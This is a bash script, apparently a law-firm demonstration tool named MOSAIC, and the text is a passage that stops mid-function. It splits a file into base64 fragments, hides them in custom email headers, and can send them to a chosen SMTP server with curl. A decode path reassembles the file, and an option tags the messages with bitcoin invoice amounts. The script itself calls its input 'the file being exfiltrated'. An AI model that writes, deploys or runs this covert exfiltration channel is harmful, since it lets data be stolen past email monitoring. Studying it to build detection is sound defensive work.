#!/usr/bin/env bash
#
# MOSAIC - Covert File Distribution via Email Header Fragmentation
# by Andrew G. Watters and Jeremy Bischoff
# Watters & Jacobs, LLP / Rællic Systems
# Version 1.0 / https://www.watters.law
#
# Demonstrates how files can be split into base64 fragments and hidden
# inside custom email headers, then reassembled by the recipient.
#
# Usage:
#   ./mosaic.sh demo --file PATH [--chunks N] [--lines-per-chunk N] [--randomize]
#   ./mosaic.sh fragment --file PATH [--chunks N] [--lines-per-chunk N] [--randomize]
#   ./mosaic.sh fragment --file PATH [--btc AMOUNT] [--invoice ID]
#   ./mosaic.sh fragment --file PATH --smtp-server URL --user USER --pass PASS --from ADDR --to ADDR
#   ./mosaic.sh decode --dir PATH
#   ./mosaic.sh decode --imap-server URL --user USER --pass PASS --subject TAG
#   ./mosaic.sh decode --imap-server URL --user USER --pass PASS --days N
#   ./mosaic.sh decode --ssh USER@HOST --maildir PATH
#   ./mosaic.sh scan --dir PATH
#   ./mosaic.sh scan --imap-server URL --user USER --pass PASS
#   ./mosaic.sh scan --ssh USER@HOST --maildir PATH
#   ./mosaic.sh detect --dir PATH
#   ./mosaic.sh ledger --list
#   ./mosaic.sh ledger --verify
#   ./mosaic.sh ledger --query FILE_HASH
#   ./mosaic.sh ledger --tamper-demo
#
# (c) 2026 Watters & Jacobs, LLP. FBI Demonstration.
#

set -euo pipefail

# ─── Colors & Formatting ───────────────────────────────────────────────
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
MAGENTA='\033[0;35m'
CYAN='\033[0;36m'
DIM='\033[2m'
BOLD='\033[1m'
RESET='\033[0m'

# Symbols
CHECK="${GREEN}✓${RESET}"
CROSS="${RED}✗${RESET}"
ARROW="${CYAN}➜${RESET}"
LOCK="${YELLOW}🔒${RESET}"
MAIL="${BLUE}✉${RESET}"
WARN="${YELLOW}⚠${RESET}"

# ─── Platform Compatibility ───────────────────────────────────────────
# Wrapper functions for commands that vary across macOS, Linux, and
# Windows (Git Bash / WSL).

# base64 — macOS uses -b, GNU/Linux uses -w
if base64 --help 2>&1 | grep -q '\-w'; then
    b64_encode() { base64 -w 79 < "$1"; }
else
    b64_encode() { base64 -b 79 < "$1"; }
fi
b64_decode() { base64 -d < "$1"; }

# SHA-256 — prefer sha256sum, fall back to shasum -a 256 (macOS)
if command -v sha256sum &>/dev/null; then
    compute_sha256() { sha256sum "$1" | awk '{print $1}'; }
elif command -v shasum &>/dev/null; then
    compute_sha256() { shasum -a 256 "$1" | awk '{print $1}'; }
else
    compute_sha256() { echo "sha256-unavailable"; }
fi

# RFC 2822 date — GNU date supports -R, BSD date does not
if date -R &>/dev/null 2>&1; then
    rfc2822_date() { date -R; }
else
    rfc2822_date() { date +"%a, %d %b %Y %H:%M:%S %z"; }
fi

# Nanosecond-capable unique ID — fall back to seconds + PID
if date +%s%N | grep -qv 'N'; then
    unique_id() { date +%s%N; }
else
    unique_id() { echo "$(date +%s)$$"; }
fi

# Portable split — try numeric suffixes (-d), fall back to alpha
portable_split() {
    local lines="$1" suffix_len="$2" infile="$3" prefix="$4"
    if split -l "$lines" -d -a "$suffix_len" "$infile" "$prefix" 2>/dev/null; then
        return 0
    else
        split -l "$lines" -a "$suffix_len" "$infile" "$prefix"
    fi
}

# Portable mktemp — use $TMPDIR (respects platform default) instead of /tmp
portable_mktemp() {
    mktemp -d "${TMPDIR:-/tmp}/mosaic-work.XXXXXX"
}

# File type detection — prefer `file -b`, fall back to extension guess
if command -v file &>/dev/null; then
    detect_filetype() { file -b "$1"; }
else
    detect_filetype() {
        case "${1##*.}" in
            jpg|jpeg) echo "JPEG image data" ;;
            png)      echo "PNG image data" ;;
            gif)      echo "GIF image data" ;;
            pdf)      echo "PDF document" ;;
            zip)      echo "Zip archive data" ;;
            gz|tgz)   echo "gzip compressed data" ;;
            tar)      echo "POSIX tar archive" ;;
            txt)      echo "ASCII text" ;;
            *)        echo "data" ;;
        esac
    }
fi

# Dependency check — verify minimum required tools at startup
check_deps() {
    local missing=()
    for cmd in base64 split sed awk; do
        command -v "$cmd" &>/dev/null || missing+=("$cmd")
    done
    # Need at least one SHA-256 tool
    if ! command -v sha256sum &>/dev/null && ! command -v shasum &>/dev/null; then
        missing+=("sha256sum or shasum")
    fi
    if [[ ${#missing[@]} -gt 0 ]]; then
        echo -e "${RED}Error: Missing required commands: ${missing[*]}${RESET}" >&2
        echo -e "${DIM}Install the missing tools and try again.${RESET}" >&2
        exit 1
    fi
}

# ─── Globals ───────────────────────────────────────────────────────────
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
DEMO_DIR="${SCRIPT_DIR}/demo"
WORK_DIR=""  # temp working space for intermediate files (cleaned up)
INPUT_FILE=""
LINES_PER_CHUNK=1000
NUM_CHUNKS=""  # auto-calculated if not set
SUBJECT_TAG="MOSAIC-$(date +%s)"
DECODE_DIR=""
SMTP_SERVER=""
IMAP_SERVER=""
MAIL_USER=""
MAIL_PASS=""
MAIL_FROM=""
MAIL_TO=""
SSH_HOST=""
MAILDIR_PATH=""
SEARCH_DAYS=""
BTC_AMOUNT=""
INVOICE_ID=""
RANDOMIZE=""
LEDGER_SUBCMD=""
LEDGER_QUERY_HASH=""
VERSION="1.1"

# ─── Ledger Module ────────────────────────────────────────────────────
source "${SCRIPT_DIR}/ledger/ledger.sh"

# ─── Detect Module ───────────────────────────────────────────────────
source "${SCRIPT_DIR}/detect/detect.sh"

# ─── Utility Functions ─────────────────────────────────────────────────

cleanup() {
    if [[ -n "$WORK_DIR" && -d "$WORK_DIR" ]]; then
        rm -rf "$WORK_DIR"
    fi
}
trap cleanup EXIT

banner() {
    echo ""
    echo -e "${BOLD}${BLUE}"
    cat << 'BANNER'
    ███╗   ███╗ ██████╗ ███████╗ █████╗ ██╗ ██████╗
    ████╗ ████║██╔═══██╗██╔════╝██╔══██╗██║██╔════╝
    ██╔████╔██║██║   ██║███████╗███████║██║██║
    ██║╚██╔╝██║██║   ██║╚════██║██╔══██║██║██║
    ██║ ╚═╝ ██║╚██████╔╝███████║██║  ██║██║╚██████╗
    ╚═╝     ╚═╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝ ╚═════╝
BANNER
    echo -e "${RESET}"
    echo -e "  ${DIM}Covert File Distribution via Email Header Fragmentation${RESET}"
    echo -e "  ${DIM}by Andrew G. Watters and Jeremy Bischoff${RESET}"
    echo -e "  ${DIM}Watters & Jacobs, LLP / Rællic Systems${RESET}"
    echo -e "  ${DIM}Version ${VERSION} / https://www.watters.law${RESET}"
    echo -e "  ${DIM}© 2026 Andrew G. Watters${RESET}"
    echo -e "  ${DIM}────────────────────────────────────────────────────────${RESET}"
    echo ""
}

status() {
    echo -e "  ${ARROW} $1"
}

success() {
    echo -e "  ${CHECK} $1"
}

fail() {
    echo -e "  ${CROSS} $1"
}

warn() {
    echo -e "  ${WARN} $1"
}

header_line() {
    echo -e "  ${BOLD}${MAGENTA}── $1 ──${RESET}"
}

# Convert a number (1-based) to the X?? sequence code: 1=XAA, 2=XAB, ..., 26=XAZ, 27=XBA, etc.
num_to_seq() {
    local n=$1
    local hi=$(( (n - 1) / 26 ))
    local lo=$(( (n - 1) % 26 ))
    printf "X%c%c" "$(printf "\\x$(printf '%02x' $((65 + hi)))")" \
                    "$(printf "\\x$(printf '%02x' $((65 + lo)))")"
}

# Reverse: XAA -> 1, XAB -> 2, etc.
seq_to_num() {
    local seq="$1"  # e.g., XAA
    local hi="${seq:1:1}"
    local lo="${seq:2:1}"
    local hi_val=$(( $(printf '%d' "'$hi") - 65 ))
    local lo_val=$(( $(printf '%d' "'$lo") - 65 ))
    echo $(( hi_val * 26 + lo_val + 1 ))
}

# Get the file extension from a filename (e.g., "photo.jpg" -> "jpg")
get_extension() {
    local filename
    filename=$(basename "$1")
    if [[ "$filename" == *.* ]]; then
        echo "${filename##*.}"
    else
        echo ""
    fi
}

# Require --file for a given mode
require_file() {
    local mode="$1"
    if [[ -z "$INPUT_FILE" ]]; then
        fail "The ${BOLD}${mode}${RESET} mode requires ${BOLD}--file PATH${RESET}"
        echo -e "  ${DIM}Example: ./mosaic.sh ${mode} --file /path/to/image.jpg${RESET}"
        exit 1
    fi
    if [[ ! -f "$INPUT_FILE" ]]; then
        fail "File not found: ${BOLD}${INPUT_FILE}${RESET}"
        exit 1
    fi
}

# Prepare the demo directory (wipe and recreate)
prepare_demo_dir() {
    if [[ -d "$DEMO_DIR" ]]; then
        rm -rf "$DEMO_DIR"
        status "Cleared previous ${BOLD}demo/${RESET} directory"
    fi
    mkdir -p "${DEMO_DIR}/emails"
}

# ─── Core Pipeline ──────────────────────────────────────────────────────

encode_file() {
    local infile="$1"
    local b64file="$2"

    local filesize
    filesize=$(wc -c < "$infile")
    local filetype
    filetype=$(detect_filetype "$infile")

    status "Input file: ${BOLD}$(basename "$infile")${RESET} (${filesize} bytes)"
    status "File type:  ${DIM}${filetype}${RESET}"

    # Compute SHA256
    local digest
    digest=$(compute_sha256 "$infile")
    echo "$digest" > "${b64file}.sha256"
    status "SHA256:     ${DIM}${digest}${RESET}"

    # Base64 encode with 79-char line wrapping
    b64_encode "$infile" > "$b64file"

    local b64lines
    b64lines=$(wc -l < "$b64file")
    local b64size
    b64size=$(wc -c < "$b64file")
    success "Base64 encoded: ${BOLD}${b64lines} lines${RESET} (${b64size} bytes)"
}

split_into_chunks() {
    local b64file="$1"
    local chunkdir="$2"

    mkdir -p "$chunkdir"

    local total_lines
    total_lines=$(wc -l < "$b64file")

    if [[ -n "$NUM_CHUNKS" ]]; then
        LINES_PER_CHUNK=$(( (total_lines + NUM_CHUNKS - 1) / NUM_CHUNKS ))
    fi

    if [[ -n "$RANDOMIZE" ]]; then
        # Randomized splitting (Option C): variable chunk sizes, 30-170% of average
        local num_chunks
        if [[ -n "$NUM_CHUNKS" ]]; then
            num_chunks=$NUM_CHUNKS
        else
            num_chunks=$(( (total_lines + LINES_PER_CHUNK - 1) / LINES_PER_CHUNK ))
        fi

        if ((num_chunks <= 1)); then
            # Single chunk — nothing to randomize
            cp "$b64file" "${chunkdir}/chunk_0000"
            NUM_CHUNKS=1
            success "Split into ${BOLD}1 fragment${RESET} (${total_lines} lines)"
            return
        fi

        local avg=$((total_lines / num_chunks))
        local min_size=$((avg * 30 / 100))
        local max_size=$((avg * 170 / 100))
        ((min_size < 1)) && min_size=1

        # Generate random chunk sizes with bounds and feasibility clamping
        local chunk_sizes=()
        local remaining=$total_lines
        local i
        for ((i = 1; i < num_chunks; i++)); do
            local remaining_after=$((num_chunks - i))
            # Clamp so future chunks can stay within [min_size, max_size]
            local effective_min=$((remaining - max_size * remaining_after))
            local effective_max=$((remaining - min_size * remaining_after))
            ((effective_min < min_size)) && effective_min=$min_size
            ((effective_max > max_size)) && effective_max=$max_size
            ((effective_min > effective_max)) && effective_min=$effective_max

            local range=$((effective_max - effective_min + 1))
            local chunk_size=$((effective_min + RANDOM % range))
            chunk_sizes+=("$chunk_size")
            remaining=$((remaining - chunk_size))
        done
        chunk_sizes+=("$remaining")

        # Extract variable-length chunks using sed line ranges
        local offset=0
        for ((i = 0; i < num_chunks; i++)); do
            local size=${chunk_sizes[$i]}
            local start=$((offset + 1))
            local end=$((offset + size))
            sed -n "${start},${end}p" "$b64file" > "${chunkdir}/chunk_$(printf '%04d' "$i")"
            offset=$((offset + size))
        done

        NUM_CHUNKS=$num_chunks

        # Compute actual min/max for display
        local min_actual=${chunk_sizes[0]}
        local max_actual=${chunk_sizes[0]}
        for s in "${chunk_sizes[@]}"; do
            ((s < min_actual)) && min_actual=$s
            ((s > max_actual)) && max_actual=$s
        done

        success "Split into ${BOLD}${num_chunks} fragments${RESET} (randomized: ${min_actual}–${max_actual} lines, avg ~${avg})"
    else
        # Uniform splitting (default)
        portable_split "$LINES_PER_CHUNK" 4 "$b64file" "${chunkdir}/chunk_"

        local num_chunks
        num_chunks=$(ls "${chunkdir}"/chunk_* | wc -l)
        NUM_CHUNKS=$num_chunks

        success "Split into ${BOLD}${num_chunks} fragments${RESET} (~${LINES_PER_CHUNK} lines each)"
    fi
}

create_email_files() {
    local chunkdir="$1"
    local emaildir="$2"
    local from="${3:-mosaic-sender@example.com}"
    local to="${4:-mosaic-receiver@example.com}"

    mkdir -p "$emaildir"

    local total
    total=$(ls "${chunkdir}"/chunk_* | wc -l)
    local total_code
    total_code=$(num_to_seq "$total")

    local i=0
    for chunkfile in $(ls "${chunkdir}"/chunk_* | sort); do
        i=$((i + 1))
        local seq_code
        seq_code=$(num_to_seq "$i")
        local header_name="X-Custom-${seq_code}-${total_code}"
        # Fold base64 data for RFC 2822 header (continuation lines start with space)
        local chunk_data
        chunk_data=$(sed '2,$s/^/ /' "$chunkfile")

        local msgid="<mosaic-${i}-${total}-$(unique_id)@mosaic.local>"
        local date_str
        date_str=$(rfc2822_date)
        local digest
        digest=$(cat "${chunkdir}/../b64.sha256" 2>/dev/null || echo "none")

        # Build RFC 2822 email
        local emailfile="${emaildir}/msg_$(printf '%04d' $i).eml"
        {
            echo "From: MOSAIC System <${from}>"
            echo "To: <${to}>"
            echo "Subject: ${SUBJECT_TAG} [${i}/${total}]"
            echo "Date: ${date_str}"
            echo "Message-ID: ${msgid}"
            echo "MIME-Version: 1.0"
            echo "Content-Type: text/plain; charset=utf-8"
            echo "${header_name}: ${chunk_data}"
            echo "X-Custom-Digest: ${digest}"
            if [[ -n "$BTC_AMOUNT" ]]; then
                local inv_id="${INVOICE_ID:-INV-$(date +%s)}"
                echo "X-Invoice-${inv_id}: ${BTC_AMOUNT}"
            fi
            echo ""
            echo "This message contains fragment ${i} of ${total}."
        } > "$emailfile"

        # Display progress
        local chunk_size
        chunk_size=$(wc -c < "$chunkfile")
        echo -e "    ${MAIL} Fragment ${BOLD}${i}/${total}${RESET} ${DIM}│${RESET} Header: ${YELLOW}${header_name}${RESET} ${DIM}│${RESET} ${chunk_size} bytes"
    done
    echo ""
    success "Created ${BOLD}${total}${RESET} email messages in RFC 2822 format"
}

extract_and_reassemble() {
    local emaildir="$1"
    local outputfile="$2"

    local reassemble_dir="${WORK_DIR}/reassemble"
    mkdir -p "$reassemble_dir"

    local total_found=0
    local expected_total=""

    # Extract custom headers from each email
    for emlfile in $(ls "${emaildir}"/*.eml 2>/dev/null | sort); do
        # Find the X-Custom-X??-X?? header (may span multiple lines via folding)
        local header_name=""
        local header_value=""

        # Read the header section (up to the first blank line)
        local current_header=""
        local current_value=""

        while IFS= read -r line || [[ -n "$line" ]]; do
            # Strip trailing carriage return (IMAP uses CRLF)
            line="${line%$'\r'}"

            # Blank line = end of headers
            if [[ -z "$line" ]]; then
                break
            fi

            # Check if this is a continuation line (starts with whitespace)
            if [[ "$line" =~ ^[[:space:]] && -n "$current_header" ]]; then
                # Continuation of previous header - append with newline, trim leading space
                current_value+=$'\n'"${line#"${line%%[![:space:]]*}"}"
                continue
            fi

            # Save previous header if it was an X-Custom-X??-X?? header
            if [[ "$current_header" =~ ^X-Custom-X[A-Z][A-Z]-X[A-Z][A-Z]$ ]]; then
                header_name="$current_header"
                header_value="$current_value"
            fi

            # Parse new header
            if [[ "$line" =~ ^([A-Za-z0-9_-]+):[[:space:]]*(.*) ]]; then
                current_header="${BASH_REMATCH[1]}"
                current_value="${BASH_REMATCH[2]}"
            fi
        done < "$emlfile"

        # Check the last header too
        if [[ "$current_header" =~ ^X-Custom-X[A-Z][A-Z]-X[A-Z][A-Z]$ ]]; then
            header_name="$current_header"
            header_value="$current_value"
        fi

        if [[ -n "$header_name" ]]; then
            # Parse sequence from header name: X-Custom-XAA-XAE
            local seq_part="${header_name#X-Custom-}"  # XAA-XAE
            local seq_code="${seq_part%%-*}"             # XAA
            local tot_code="${seq_part##*-}"             # XAE
            local seq_num
            seq_num=$(seq_to_num "$seq_code")
            local tot_num
            tot_num=$(seq_to_num "$tot_code")

            expected_total=$tot_num

            # Write chunk to file keyed by sequence number (preserve base64 line structure)
            printf '%s\n' "$header_value" > "${reassemble_dir}/$(printf '%04d' $seq_num)"
            total_found=$((total_found + 1))

            echo -e "    ${LOCK} Extracted fragment ${BOLD}${seq_num}/${tot_num}${RESET} from ${DIM}$(basename "$emlfile")${RESET} ${DIM}│${RESET} Header: ${YELLOW}${header_name}${RESET}"
        fi
    done

    echo ""

    if [[ $total_found -eq 0 ]]; then
        fail "No MOSAIC fragments found!"
        return 1
    fi

    if [[ -n "$expected_total" && $total_found -ne $expected_total ]]; then
        warn "Found ${total_found} of ${expected_total} expected fragments"
    else
        success "Extracted ${BOLD}${total_found}/${expected_total}${RESET} fragments"
    fi

    # Reassemble in order
    status "Reassembling fragments..."
    local b64_reassembled="${WORK_DIR}/reassembled.b64"
    cat "${reassemble_dir}"/* > "$b64_reassembled" 2>/dev/null || {
        fail "No fragment data to reassemble"
        return 1
    }

    # Decode
    status "Base64 decoding..."
    if ! b64_decode "$b64_reassembled" > "$outputfile" 2>/dev/null; then
        fail "Base64 decode failed — fragment data may be corrupt"
        return 1
    fi

    local outsize
    outsize=$(wc -c < "$outputfile")
    local outtype
    outtype=$(detect_filetype "$outputfile")
    success "Reassembled file: ${BOLD}${outsize} bytes${RESET}"
    success "File type: ${DIM}${outtype}${RESET}"
}

verify_file() {
    local original="$1"
    local reassembled="$2"

    echo ""
    header_line "VERIFICATION"
    echo ""

    local orig_hash
    orig_hash=$(compute_sha256 "$original")
    local reasm_hash
    reasm_hash=$(compute_sha256 "$reassembled")

    status "Original SHA256:    ${DIM}${orig_hash}${RESET}"
    status "Reassembled SHA256: ${DIM}${reasm_hash}${RESET}"
    echo ""

    if [[ "$orig_hash" == "$reasm_hash" ]]; then
        echo -e "  ${CHECK} ${BOLD}${GREEN}INTEGRITY VERIFIED${RESET} - Files match perfectly"

        local orig_type
        orig_type=$(detect_filetype "$original")
        local reasm_type
        reasm_type=$(detect_filetype "$reassembled")
        echo -e "  ${CHECK} ${BOLD}${GREEN}FILE TYPE VERIFIED${RESET} - ${DIM}${reasm_type}${RESET}"

        echo ""
        echo -e "  ${BOLD}${GREEN}╔═══════════════════════════════════════════════╗${RESET}"
        echo -e "  ${BOLD}${GREEN}║     MOSAIC DEMO COMPLETE - ALL CHECKS PASS    ║${RESET}"
        echo -e "  ${BOLD}${GREEN}╚═══════════════════════════════════════════════╝${RESET}"
        echo ""
        return 0
    else
        echo -e "  ${CROSS} ${BOLD}${RED}INTEGRITY CHECK FAILED${RESET} - Hashes do not match!"
        echo ""
        return 1
    fi
}

# Write a plain-text report summarizing the demo run
write_report() {
    local original_file="$1"
    local reassembled_file="$2"
    local emaildir="$3"
    local report_file="$4"

    local orig_name
    orig_name=$(basename "$original_file")
    local orig_size
    orig_size=$(wc -c < "$original_file")
    local orig_type
    orig_type=$(detect_filetype "$original_file")
    local orig_hash
    orig_hash=$(compute_sha256 "$original_file")

    local reasm_name
    reasm_name=$(basename "$reassembled_file")
    local reasm_size
    reasm_size=$(wc -c < "$reassembled_file")
    local reasm_hash
    reasm_hash=$(compute_sha256 "$reassembled_file")

    local num_emails
    num_emails=$(ls "${emaildir}"/*.eml 2>/dev/null | wc -l)
    local total_email_size
    total_email_size=$(cat "${emaildir}"/*.eml | wc -c)
    local overhead=$(( (total_email_size - orig_size) * 100 / orig_size ))

    local match="YES"
    [[ "$orig_hash" != "$reasm_hash" ]] && match="NO"

    {
        echo "MOSAIC DEMONSTRATION REPORT"
        echo "==========================="
        echo ""
        echo "Date:  $(date)"
        echo ""
        echo "ORIGINAL FILE"
        echo "  Filename:  ${orig_name}"
        echo "  Size:      ${orig_size} bytes"
        echo "  Type:      ${orig_type}"
        echo "  SHA256:    ${orig_hash}"
        echo ""
        echo "FRAGMENTATION"
        echo "  Fragments: ${num_emails}"
        echo "  Emails:    ${emaildir}/"
        echo "  Total size of all emails: ${total_email_size} bytes"
        echo "  Overhead:  ${overhead}%"
        echo "  Lines per chunk: ${LINES_PER_CHUNK}"
        echo ""
        echo "  Header naming convention:"
        echo "    X-Custom-<SEQ>-<TOTAL>"
        echo "    SEQ:   XAA=1, XAB=2, XAC=3, ... XAZ=26, XBA=27, ..."
        echo "    TOTAL: fragment count encoded the same way"
        echo "    Example: X-Custom-XAC-XAH = fragment 3 of 8"
        echo ""
        echo "REASSEMBLED FILE"
        echo "  Filename:  ${reasm_name}"
        echo "  Size:      ${reasm_size} bytes"
        echo "  SHA256:    ${reasm_hash}"
        echo ""
        echo "VERIFICATION"
        echo "  SHA256 match: ${match}"
        echo "  Integrity:    $([ "$match" = "YES" ] && echo "PASS" || echo "FAIL")"
        echo ""
        echo "---"
        echo "Generated by mosaic.sh"
    } > "$report_file"
}

# ─── Demo Mode ──────────────────────────────────────────────────────────

mode_demo() {
    require_file "demo"

    header_line "PHASE 1: FILE PREPARATION"
    echo ""

    # Prepare persistent demo directory and temp working space
    prepare_demo_dir
    WORK_DIR=$(portable_mktemp)

    # Determine file extension for naming
    local ext
    ext=$(get_extension "$INPUT_FILE")
    local orig_dest="${DEMO_DIR}/original"
    local reasm_dest="${DEMO_DIR}/reassembled"
    if [[ -n "$ext" ]]; then
        orig_dest="${orig_dest}.${ext}"
        reasm_dest="${reasm_dest}.${ext}"
    fi

    # Copy original into demo dir
    cp "$INPUT_FILE" "$orig_dest"
    success "Saved original to ${BOLD}demo/$(basename "$orig_dest")${RESET}"

    echo ""

    # Encode
    local b64file="${WORK_DIR}/b64"
    encode_file "$orig_dest" "$b64file"

    echo ""
    header_line "PHASE 2: FRAGMENTATION"
    echo ""

    # Split
    local chunkdir="${WORK_DIR}/chunks"
    split_into_chunks "$b64file" "$chunkdir"

    echo ""
    header_line "PHASE 3: EMAIL EMBEDDING"
    echo ""
    status "Creating RFC 2822 email messages with embedded fragments..."
    echo ""

    local emaildir="${DEMO_DIR}/emails"
    create_email_files "$chunkdir" "$emaildir"

    # Show a sample email header
    echo ""
    header_line "SAMPLE EMAIL HEADER"
    echo ""
    local sample_email
    sample_email=$(ls "${emaildir}"/*.eml | head -1)
    while IFS= read -r line; do
        if [[ -z "$line" || "$line" == $'\r' ]]; then
            break
        fi
        if [[ "$line" =~ ^X-Custom-X ]]; then
            # Truncate the value for display
            local hdr_name="${line%%:*}"
            local hdr_val="${line#*: }"
            local display_val="${hdr_val:0:60}"
            echo -e "    ${YELLOW}${hdr_name}${RESET}: ${DIM}${display_val}...${RESET}"
            echo -e "    ${DIM}  (${#hdr_val} chars of base64 data in this header)${RESET}"
        else
            echo -e "    ${DIM}${line}${RESET}"
        fi
    done < "$sample_email"

    echo ""
    header_line "PHASE 4: EXTRACTION & REASSEMBLY"
    echo ""
    status "Scanning emails for MOSAIC fragment headers..."
    echo ""

    extract_and_reassemble "$emaildir" "$reasm_dest"

    # Verify
    verify_file "$orig_dest" "$reasm_dest"

    # Write report
    local report_file="${DEMO_DIR}/report.txt"
    write_report "$orig_dest" "$reasm_dest" "$emaildir" "$report_file"

    # Summary stats
    header_line "STATISTICS"
    echo ""
    local orig_size
    orig_size=$(wc -c < "$orig_dest")
    local num_emails
    num_emails=$(ls "${emaildir}"/*.eml | wc -l)
    local total_email_size
    total_email_size=$(cat "${emaildir}"/*.eml | wc -c)
    local overhead=$(( (total_email_size - orig_size) * 100 / orig_size ))

    echo -e "    Original file size:  ${BOLD}${orig_size}${RESET} bytes"
    echo -e "    Number of fragments: ${BOLD}${num_emails}${RESET}"
    echo -e "    Total email size:    ${BOLD}${total_email_size}${RESET} bytes"
    echo -e "    Overhead:            ${BOLD}${overhead}%${RESET}"
    echo -e "    Lines per chunk:     ${BOLD}${LINES_PER_CHUNK}${RESET}"
    echo ""

    header_line "OUTPUT"
    echo ""
    echo -e "    ${BOLD}demo/${RESET}"
    echo -e "    ├── $(basename "$orig_dest")        ${DIM}← the file being exfiltrated${RESET}"
    echo -e "    ├── emails/             ${DIM}← ${num_emails} RFC 2822 emails with hidden fragments${RESET}"
    for emlfile in $(ls "${emaildir}"/*.eml | head -3); do
        echo -e "    │   ├── $(basename "$emlfile")"
    done
    if [[ $num_emails -gt 3 ]]; then
        echo -e "    │   └── ${DIM}... (${num_emails} total)${RESET}"
    fi
    echo -e "    ├── $(basename "$reasm_dest")   ${DIM}← reassembled from email headers${RESET}"
    echo -e "    └── report.txt          ${DIM}← plain-text summary of this run${RESET}"
    echo ""
}

# ─── Fragment Mode ───────────────────────────────────────────────────────

mode_fragment() {
    require_file "fragment"

    # Set invoice ID early so email headers and summary use the same value
    if [[ -n "$BTC_AMOUNT" && -z "$INVOICE_ID" ]]; then
        INVOICE_ID="INV-$(date +%s)"
    fi

    WORK_DIR=$(portable_mktemp)
    local output_base="./mosaic_output"

    # Clear previous output
    if [[ -d "$output_base" ]]; then
        rm -rf "$output_base"
        status "Cleared previous ${BOLD}mosaic_output/${RESET} directory"
    fi

    header_line "PHASE 1: FILE PREPARATION"
    echo ""

    local b64file="${WORK_DIR}/b64"
    encode_file "$INPUT_FILE" "$b64file"

    echo ""
    header_line "PHASE 2: FRAGMENTATION"
    echo ""

    local chunkdir="${WORK_DIR}/chunks"
    split_into_chunks "$b64file" "$chunkdir"

    echo ""
    header_line "PHASE 3: EMAIL GENERATION"
    echo ""
    status "Creating RFC 2822 email messages with embedded fragments..."
    echo ""

    local emaildir="${output_base}/emails"
    mkdir -p "$emaildir"

    # Use real addresses if SMTP flags provided, otherwise defaults
    if [[ -n "$SMTP_SERVER" ]]; then
        create_email_files "$chunkdir" "$emaildir" "$MAIL_FROM" "$MAIL_TO"
    else
        create_email_files "$chunkdir" "$emaildir"
    fi

    # Show a sample email header
    echo ""
    header_line "SAMPLE EMAIL HEADER"
    echo ""
    local sample_email
    sample_email=$(ls "${emaildir}"/*.eml | head -1)
    while IFS= read -r line; do
        if [[ -z "$line" || "$line" == $'\r' ]]; then
            break
        fi
        if [[ "$line" =~ ^X-Custom-X ]]; then
            local hdr_name="${line%%:*}"
            local hdr_val="${line#*: }"
            local display_val="${hdr_val:0:60}"
            echo -e "    ${YELLOW}${hdr_name}${RESET}: ${DIM}${display_val}...${RESET}"
            echo -e "    ${DIM}  (${#hdr_val} chars of base64 data in this header)${RESET}"
        else
            echo -e "    ${DIM}${line}${RESET}"
        fi
    done < "$sample_email"

    # Send via SMTP if configured
    if [[ -n "$SMTP_SERVER" ]]; then
        if [[ -z "$MAIL_USER" || -z "$MAIL_PASS" || -z "$MAIL_FROM" || -z "$MAIL_TO" ]]; then
            echo ""
            fail "SMTP sending requires: --user, --pass, --from, --to"
            exit 1
        fi

        echo ""
        header_line "PHASE 4: SENDING VIA SMTP"
        echo ""
        status "Sending emails via ${BOLD}${SMTP_SERVER}${RESET}..."
        echo ""

        local sent=0
        local failed=0
        for emlfile in $(ls "${emaildir}"/*.eml | sort); do
            local fname
            fname=$(basename "$emlfile")
            if curl --silent --show-error \
                 --url "$SMTP_SERVER" \
                 --ssl-reqd \
                 --mail-from "$MAIL_FROM" \
                 --mail-rcpt "$MAIL_TO" \
                 --upload-file "$emlfile" \
                 --user "${MAIL_USER}:${MAIL_PASS}" 2>/dev/null; then
                sent=$((sent + 1))
                echo -e "    ${CHECK} Sent ${BOLD}${fname}${RESET}"
            else
                failed=$((failed + 1))
                echo -e "    ${CROSS} Failed ${BOLD}${fname}${RESET}"
            fi
            sleep 1
        done

        echo ""
        if [[ $failed -eq 0 ]]; then
            success "All ${BOLD}${sent}${RESET} fragment emails sent successfully"
        else
            warn "Sent ${sent}, failed ${failed}"
        fi
    fi

    # Summary
    echo ""
    header_line "SUMMARY"
    echo ""
    local num_emails
    num_emails=$(ls "${emaildir}"/*.eml | wc -l)
    local orig_size
    orig_size=$(wc -c < "$INPUT_FILE")
    local total_email_size
    total_email_size=$(cat "${emaildir}"/*.eml | wc -c)
    local overhead=$(( (total_email_size - orig_size) * 100 / orig_size ))
    local digest
    digest=$(cat "${WORK_DIR}/b64.sha256")

    echo -e "    File:            ${BOLD}$(basename "$INPUT_FILE")${RESET} (${orig_size} bytes)"
    echo -e "    Fragments:       ${BOLD}${num_emails}${RESET} emails"
    echo -e "    Total email size:${BOLD} ${total_email_size}${RESET} bytes"
    echo -e "    Overhead:        ${BOLD}${overhead}%${RESET}"
    echo -e "    SHA256:          ${DIM}${digest}${RESET}"
    echo -e "    Subject tag:     ${BOLD}${SUBJECT_TAG}${RESET}"
    if [[ -n "$BTC_AMOUNT" ]]; then
        echo -e "    Invoice:         ${BOLD}${INVOICE_ID}${RESET}"
        echo -e "    BTC amount:      ${BOLD}${BTC_AMOUNT} BTC${RESET}"
        # Record in blockchain ledger
        if awk "BEGIN {exit !(${BTC_AMOUNT}+0 > 0)}" 2>/dev/null; then
            local entry_hash
            entry_hash=$(ledger_record "fragment" "$digest" "$(basename "$INPUT_FILE")" \
                "$orig_size" "$(echo "$num_emails" | tr -d ' ')" "$INVOICE_ID" "$BTC_AMOUNT" \
                "${MAIL_FROM:-mosaic-sender@example.com}" "${MAIL_TO:-mosaic-receiver@example.com}" \
                "$SUBJECT_TAG")
            echo -e "    Ledger:          ${DIM}Block #$(_ledger_count) recorded (${entry_hash:0:16}...)${RESET}"
        fi
    fi
    if [[ -n "$SMTP_SERVER" ]]; then
        echo -e "    Sent via:        ${BOLD}${SMTP_SERVER}${RESET}"
        echo -e "    From:            ${DIM}${MAIL_FROM}${RESET}"
        echo -e "    To:              ${DIM}${MAIL_TO}${RESET}"
    fi
    echo ""

    header_line "OUTPUT"
    echo ""
    echo -e "    ${BOLD}mosaic_output/${RESET}"
    echo -e "    └── emails/             ${DIM}← ${num_emails} RFC 2822 emails with hidden fragments${RESET}"
    for emlfile in $(ls "${emaildir}"/*.eml | head -3); do
        echo -e "        ├── $(basename "$emlfile")"
    done
